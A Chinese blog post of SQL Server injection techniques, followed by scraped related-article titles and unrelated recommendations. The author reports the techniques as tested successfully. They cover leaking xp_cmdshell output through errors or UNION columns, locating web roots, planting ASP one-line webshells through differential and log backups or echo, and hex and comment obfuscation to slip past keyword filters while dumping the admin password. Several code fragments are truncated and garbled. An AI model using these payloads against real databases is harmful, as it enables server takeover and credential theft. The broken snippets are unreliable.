一、对于SA权限的用户执行命令,如何获取更快捷的获取结果?

  • 有显示位
  • 无显示位

其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。

方法①));
     )
     SET @result='~'
     SELECT @result=@result+' '+output from test_1 where output>' '
     SELECT @result AS result INTO test_2;
     SELECT convert(int,(select result from test_2));
END;

解析:

  • 这里6-9句的意思是申明一个@result的临时变量;
  • 设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
  • 然后将@result设置一个别名,然后插入test_2中。
  • 最后报错回显
    PS:
  • mssql英文字母比较大小不区分大小写
  • mssql字符串比较大小和C语言中的str_cmp()一样的道理

方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)

  • 报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--
  • 显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--

二、如何快速寻找网站目录(SA用户)

  • SA用户被降权
  • SA用户未被降权

这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。

方法①(被降权:–亲测成功):));
;

方法②(未被降权–system–亲测成功):));
;

方法③(sa+system权限+IIS7.0+IIS7.5):

%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径

PS:
%systemroot%代表c:\windows\

三、如何利用注入点getshell方法
①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
backup database XFData to disk = 'D:\WebRoot\asp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT;

方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
alter database XFData set RECOVERY FULL;
create table  test_tmp  (a image);
backup log XFData to disk = 'D:\WebRoot\asp.bak' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log XFData to disk = 'D:\webroot\123.asp'

PS:

  • 如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
  • 如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。

方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

PS:

  • 这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明

四、如何避免使用select之类的关键字
方法①:十六进制混淆) )); EXEC (@S);';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--

六、结语

这篇文章是很久以前整理的,有些地方可能有不对之处,希望大家能够指出。另外,大家有什么姿势也说一说,一起总结总结。

这里排版确实不习惯,用习惯了markdown感觉现在有点排版困难症,请不要喷。。。

SQLServer注入技巧的更多相关文章

  1. SqlServer 注入技巧

    一.SA权限执行命令,如何更快捷的获取结果? 有显示位 显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会 ...

  2. Update、Insert注入技巧

    title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...

  3. False注入,以及SQL注入技巧总结

    title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...

  4. MYSQL_Join注入技巧

    Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * ...

  5. sqlmap注入技巧收集

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  6. Sqlmap注入技巧收集整理

    TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...

  7. 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)

    原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...

  8. sqlmap注入技巧

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  9. MYSQL注入技巧备忘录

    MYSQL一些技巧 仅仅是作为自己备忘录,如果错误,敬请斧正. 0)基础饶过 1.大小写绕过 2.双写绕过 3.添加注释 /*!*/ or /*!小于mysql版本*/ 5.宽字节.Latin1默认编 ...

随机推荐

  1. codevs1540 银河英雄传说

    描述 公元五八○一年,地球居民迁移至金牛座α第二行星,在那里发表银河联邦创立宣言,同年改元为宇宙历元年,并开始向银河系深处拓展. 宇宙历七九九年,银河系的两大军事集团在巴米利恩星域爆发战争.泰山压顶集 ...

  2. GDI+ 笔记

    1.GDI+模板 #include<windows.h> #include<GdiPlus.h> #include <time.h> #include <ma ...

  3. java.lang.NoSuchFieldError 异常原因

    一般都是因为 class 或 jar 包重复 导致的 , 也有可能是编译器的问题. 我碰到的问题是,在项目api 接口jar包里定义了一个Config.java,然后在业务层service 项目 的相 ...

  4. URL、URN、URI的区别?

    URL.URN.URI区别 既然Web应用程序的文件等资源是放在服务器上,而服务器是因特网(Internet)上的主机,当然必须要有个方法,告诉浏览器到哪里取得文件等资源.通常会听到有人这么说:“你要 ...

  5. C和指针 第十二章 结构体 习题

    12.3 重新编写12.7,使用头和尾指针分别以一个单独的指针传递给函数,而不是作为一个节点的一部分 #include <stdio.h> #include <stdlib.h> ...

  6. PHP HTML代码反转义

    后端为了防止xss的攻击,会过滤前端用户的输入的数据,这样虽然有效的避免xss攻击,但是会带来一个问题,要么全部过滤html留下不非法的数据,要么把HTML代码转义,但是转义之后又会直接在浏览器内显示 ...

  7. Find All Numbers Disappeared in an Array

    Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and ot ...

  8. Eclipse 的单步调试

    1.设置断点在程序里面放置一个断点,也就是双击需要放置断点的程序左边的栏目上. 2.调试(1)点击"打开透视图"按钮,选择调试透视图,则打开调试透视图界面,然后先设置断点,按调试按 ...

  9. poj 2503(字符串)

    http://poj.org/problem?id=2503 题意:就是翻译,给你一个字典,然后再查找单词,找得到的就输出单词,找不到的输出eh,用Map水题一个,但这个题有点意思的就是输入的问题 # ...

  10. jstl fortokens 分割字符串

    forTokens标签: forTokens标签用来截取字符串: 属性: * var :定义变量 * items :切分字符串 * begin :从哪开始 * end :到哪结束 * step :步长 ...